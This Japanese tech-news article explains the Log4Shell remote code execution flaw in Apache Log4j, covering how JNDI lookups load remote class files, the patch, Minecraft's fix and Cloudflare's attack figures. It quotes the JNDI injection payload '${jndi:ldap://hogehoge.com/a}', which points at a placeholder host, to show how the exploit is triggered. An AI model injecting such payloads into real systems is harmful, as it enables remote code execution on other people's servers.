セキュリティ

JavaのLog4jライブラリで発見された脆弱性「Log4Shell(CVE-2021-44228)」はなぜ世界中に大きな影響を与えるのか?


Javaのログ出力ライブラリであるApache Log4jで、リモートコード実行のゼロデイ脆弱(ぜいじゃく)性「CVE-2021-44228」、通称「Log4Shell」を修正したバージョンが、日本時間の2021年12月10日に公開されました。このライブラリは広く利用されていることから、このゼロデイ脆弱性は過去に類を見ないレベルでさまざまな方面に深刻な影響を及ぼすと見られています。このCVE-2021-44228について、CDNサービス企業であるCloudflareが解説しています。

Inside the Log4j2 vulnerability (CVE-2021-44228)
https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/

Actual CVE-2021-44228 payloads captured in the wild
https://blog.cloudflare.com/actual-cve-2021-44228-payloads-captured-in-the-wild/


Apache Log4jはJavaのログ出力ライブラリで、たとえばユーザーが入力した内容によって発生したエラーについてのメッセージをログに書き込むのに使われます。2021年11月24日に、Alibaba Cloudのセキュリティチームが、Apache Log4jのバージョン2.0-beta9からバージョン2.14.1までにリモートコード実行の脆弱性を発見したと、Apacheに報告しました。


2013年、Log4jのバージョン2.0-beta9でJNDI Lookupという機能が追加されました。JNDI(Java Naming and Directory Interface)はJavaのプログラムがディレクトリを通じてJavaのオブジェクトの形でデータを見つけられるようにするインターフェースで、JNDI LookupはJNDIとディレクトリサービスを併用して必要なデータを含むJavaオブジェクトを検索できるようになる機能です。

使用例のひとつは、ネットワーク経由でLDAPサーバーにアクセスし、オブジェクトの属性を取得することができるようになるというもの。例えば「ldap://localhost:389/o=JNDITutorial」というURLを使って、同じマシンのポート389で動作するLDAPサーバーからJNDITutorialというオブジェクトを見つけ出し、その属性を読み取ることができるようになるわけです。もちろんLDAPサーバーは別のマシンで動作してる可能性もあり、インターネットを経由してアクセスすることが可能。Log4jの場合、「${jndi:ldap://hogehoge.com/a}」のように打ち込むことで、任意のLDAPサーバーからオブジェクトを取得してログ出力することができるようになります。さらに、URLのある部分に「.」を含むことで、Log4jはそのサーバーを参照してclassファイルを動的に読み込んでしまうとのこと。

そして、もし悪意あるclassファイルをホストするLDAPサーバーを用意し、Log4jを利用するプログラムのログに記録されるような入力から「${jndi:ldap://hogehoge.com/a}」と打ち込んでログ出力させれば、プログラムがLDAPサーバーからclassファイルをロードするため、任意のコードを実行できてしまうというのがCVE-2021-44228です。サイバーセキュリティ企業のCyber Kendraによれば、このCVE-2021-44228は2021年11月24日にAlibaba Cloudのセキュリティチームによって発見され、Apacheに報告されました。


仮にCVE-2021-44228を突いた攻撃を含むUser-Agent文字列が、インデックス作成やデータサイエンスを行うシステムに渡されれば、その文字列がログに記録されてしまう可能性があるため、Log4jバージョン2を使用するすべてのJavaベースのソフトウェアにパッチを適用するか緩和策を施さなければならないと、Cloudflareは述べています。

また、ソフトウェアがJavaでコーディングされていなくても、文字列が他のJavaのシステムで読み込まれると、攻撃されてしまう可能性もあります。例えば、顧客の名前が見つからない場合にログを記録するJavaベースの課金システムがあったとして、もし悪意のあるユーザーがリモートコード実行を含む名前で注文を作成すると、課金システムのウェブサーバーから顧客データベースを経由し、請求システムにまで攻撃が及ぶ可能性も考えられるとのこと。


また、世界で最も売れたゲームであるマインクラフトもオリジナルバージョンはJavaで設計されています。マインクラフト運営は2021年12月10日にCVE-2021-44228対策の修正パッチをリリースし、適用を促しています。

Important Message: Security vulnerability in Java Edition | Minecraft
https://www.minecraft.net/en-us/article/important-message--security-vulnerability-java-edition


「30億のデバイスで走るJava」というキャッチフレーズで知られるほどにJavaはさまざまな場面で使われているため、CVE-2021-44228が及ぼす影響の規模は計り知れません。Cloudflareは、CVE-2021-44228が「Heartbleed」や「ShellShock」などと並んでインターネット史上最も深刻な脆弱性の1つである可能性を示唆しています。

Apacheはすでに修正を適用したバージョン2.15.0を配布していますが、対策には相当な時間がかかるといえます。なお、CloudflareはHTTPリクエストにおけるJNDI Lookupをブロックする形で対策を取ったと報告しています。Cloudflareによれば、2021年12月11日の朝からCVE-2021-44228を突いた攻撃が少しずつ増加し、ピーク時には1分あたりおよそ20000回の攻撃が行われているとのこと。ブロックしたIPアドレスは200から400で、リクエストのほとんどが実際にCVE-2021-44228を悪用可能かどうかを偵察するものだとCloudflareは述べており、中にはGoogleのbotのふりをして攻撃をしかけているものもあったそうです。

・つづき
Log4jライブラリのゼロデイ脆弱性「Log4Shell」で脆弱なサーバーを標的にした攻撃が続発中、仮想通貨マイナーのインストール・ボットネット拡散・データ盗難などやりたい放題 - GIGAZINE

この記事のタイトルとURLをコピーする

・関連記事
AWSや主要クラウドサービスで利用されるSDKに27件の脆弱性が発見される - GIGAZINE

広告ブロック拡張機能「uBlock Origin」にユーザーのパスワードが盗まれるCSSインジェクション脆弱性が存在 - GIGAZINE

50億円以上の身代金をランサムウェア「Cuba」を用いる攻撃者が受け取っていたことが判明 - GIGAZINE

「iPhoneへのゼロクリック攻撃は一体なぜそんなに危険なのか?」をセキュリティ研究者が分かりやすく解説 - GIGAZINE

Appleが要人やジャーナリストの監視に使われた「Pegasus」の開発元であるNSO Groupを提訴 - GIGAZINE

Razerのマウスを接続するだけでシステム特権昇格が可能になる脆弱性が発見される - GIGAZINE

in ソフトウェア,   セキュリティ, Posted by log1i_yk

You can read the machine translated English article here.